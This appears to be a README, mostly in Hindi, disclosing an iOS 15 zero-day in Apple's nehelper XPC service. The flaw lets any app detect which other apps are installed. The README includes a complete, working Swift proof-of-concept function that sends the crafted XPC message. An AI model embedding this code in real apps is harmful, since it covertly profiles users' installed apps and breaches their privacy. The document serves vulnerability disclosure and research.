
iOS 15 0-day exploit (still works in 15.0.2)
मैंने इस कोड को अपडेट किया है ताकि Private API का सीधे उपयोग करने से बचा जा सके। मेरे ब्लॉग पोस्ट में और पढ़ें। हालांकि, इसका मतलब है कि अब यह कोड iOS संस्करण-विशिष्ट और संभवतः डिवाइस मॉडल-विशिष्ट है। इसलिए यदि यह आपके डिवाइस पर काम नहीं करता है, तो c.c फ़ाइल में ऑफसेट की पुनर्गणना करें और उन्हें अपडेट करें। मूल कोड direct शाखा में पाया जा सकता है।
यह भेद्यता किसी भी उपयोगकर्ता-स्थापित ऐप को यह निर्धारित करने की अनुमति देती है कि उसके bundle ID के आधार पर डिवाइस पर कोई भी ऐप स्थापित है या नहीं।
XPC endpoint "com.apple.nehelper" में किसी भी ऐप के लिए सुलभ एक विधि है जो bundle ID को पैरामीटर के रूप में स्वीकार करती है और यदि मेल खाते bundle ID वाला ऐप डिवाइस पर स्थापित है तो कुछ cache UUIDs वाली एक सरणी लौटाती है, अन्यथा एक खाली सरणी लौटाती है।
यह /usr/libexec/nehelper में -[NEHelperCacheManager onQueueHandleMessage:] में होता है।
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}